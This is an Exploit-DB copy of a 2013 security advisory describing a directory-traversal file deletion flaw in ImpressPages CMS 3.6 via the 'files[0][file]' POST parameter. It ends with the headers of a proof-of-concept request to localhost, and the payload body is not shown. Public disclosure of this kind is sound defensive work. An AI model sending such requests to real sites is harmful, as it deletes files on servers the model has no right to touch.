ImpressPages CMS 3.6 - Remote Arbitrary File Deletion Vulnerability

EDB-ID: 29328 CVE: N/A OSVDB-ID: 99222
Author: LiquidWorm Published: 2013-11-01 Verified: Not Verified
Exploit Code:   Download Vulnerable App:   N/A


Prev Home Next

ImpressPages CMS v3.6 Remote Arbitrary File Deletion Vulnerability

Vendor: ImpressPages UAB
Product web page:
Affected version: 3.6

Summary: ImpressPages CMS is an open source web content
management system with revolutionary drag & drop interface.

Desc: Input passed to the 'files[0][file]' parameter in 
is not properly sanitised before being used to delete files.
This can be exploited to delete files with the permissions
of the web server via directory traversal sequences passed
within the affected POST parameter.

Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2
           PHP 5.4.7
           MySQL 5.5.25a

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

Advisory ID: ZSL-2013-5158
Advisory URL:




POST /impresspages/ HTTP/1.1
Host: localhost
Proxy-Connection: keep-alive
Content-Length: 387
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://localhost
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.69 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost/impresspages/?cms_action=manage
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Cookie: ses819=k7e9hu9pk4ol4h9l0lbt5q73u1